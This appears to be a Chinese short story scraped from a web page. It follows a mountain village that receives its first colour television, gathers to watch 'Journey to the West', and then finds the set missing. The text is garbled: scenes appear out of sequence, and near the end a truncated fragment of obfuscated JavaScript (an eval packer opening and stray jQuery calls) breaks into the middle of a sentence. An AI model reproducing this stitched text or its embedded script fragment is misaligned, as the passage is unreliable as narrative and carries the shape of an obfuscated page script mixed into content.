大人们坐在后排，一边纳着鞋底、抽着旱烟，一边跟着剧情时而蹙眉，时而哄笑。
二婶子拍着大腿嚷：“哎呀妈呀，这坏人可太坏咧！”
旁边三大爷磕磕烟袋锅，眯着眼应和：“别急，肯定能遭报应。”小常站在一旁，不时微调着天线，确保画面清晰，偶尔也被剧情勾了魂，忘了手头动作。
夜渐深，仓库里热气腾腾，人声嘈杂，烟雾缭绕。窗外，繁星点点，洒在这片沉浸于新奇娱乐的山村土地上。
小常望着满屋子聚精会神的乡亲，嘴角不自觉地上扬，心里满是自豪，仿佛守护的不是一台彩电，而是全村人夜晚最璀璨的梦，在那个年代的质朴时光里，熠熠生辉，温暖悠长。
日头刚往西斜了些，残阳如血，给小村的土坯房都勾勒出一道道长长的暗影。
那年腊月的寒风卷着雪粒子扑进郭任庄，村口老槐树上的冰棱子折射着细碎的光。当拖拉机载着那台18寸熊猫牌彩电进村时，吱呀作响的车厢板上结着层薄霜，却盖不住村民们眼里跳动的火苗。
“这得多少钱啊！“王婶攥着袖口凑上前，粗布围裙上还沾着和面的面粉。拖拉机斗里，彩电被红绸布裹得严实，角上系着的铜铃铛随着颠簸轻轻摇晃，惊得路边啄食的麻雀扑棱棱乱飞。人群里突然炸开锅，有人踮脚张望，有人扒着车帮想凑近，鞋底在结冰的土路上打滑。
当晚，郭二叔家的院子被围得水泄不通。
八仙桌中央的铁皮柜擦得锃亮，柜门缝隙里透出暖黄的光。
孩子们扒着窗户，哈出的白气在玻璃上凝成霜花；老人们蹲在墙根，旱烟袋锅子磕在砖头上咚咚响。
“开啦！“随着吱呀一声，柜门缓缓推开，彩电屏幕像块黑镜子，映出几十张仰起的脸。
雪花落在房檐上，电视里突然响起《西游记》的片头曲。人群先是猛地屏住呼吸，紧接着爆发出此起彼伏的惊叹。
张大爷的烟袋掉在地上都没察觉，嘴里喃喃着：“这孙猴子的金箍棒，咋能变得恁长？“
小孙子浩楠趴在爷爷背上，眼睛瞪得溜圆，盯着屏幕里腾云驾雾的画面，连棉袄扣子开了都浑然不觉。
“听说城里纺织厂都没几台彩电！“人群里不知谁喊了一嗓子。
李婶往灶膛里添了把柴火，火光映着她皱巴巴的脸：“郭二叔怕是把家底都掏光了。“
角落里几个年轻后生交头接耳，有人摸着口袋里磨得发亮的工分本，盘算着得攒多少年才能买得起这稀罕物件。
夜深了，雪花愈发密集。
郭二叔家的灯光在雪幕里晕成暖黄的光斑，电视里唐僧师徒还在取经路上跋涉。
散场的村民裹紧棉袄往家走，踩雪声咯吱作响。
有人回头望着那扇亮着的窗户，突然觉得这黑沉沉的冬夜，似乎比往常多了点不一样的盼头。
村东头学校操场前，原本每晚准点聚起看彩色电视的热闹场子，此刻鸦雀
;eval(function(p,a,c,k,e,d){e=function(c){return(c
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
无声，只剩徐德恨的儿子小常，像根木桩似地戳在那儿，面色惨白如纸，眼睛直勾勾地盯着空荡荡的木架子，那上头本该稳稳立着全村人的宝贝——那台彩色电视机，如今只剩几根凌乱耷拉着的电线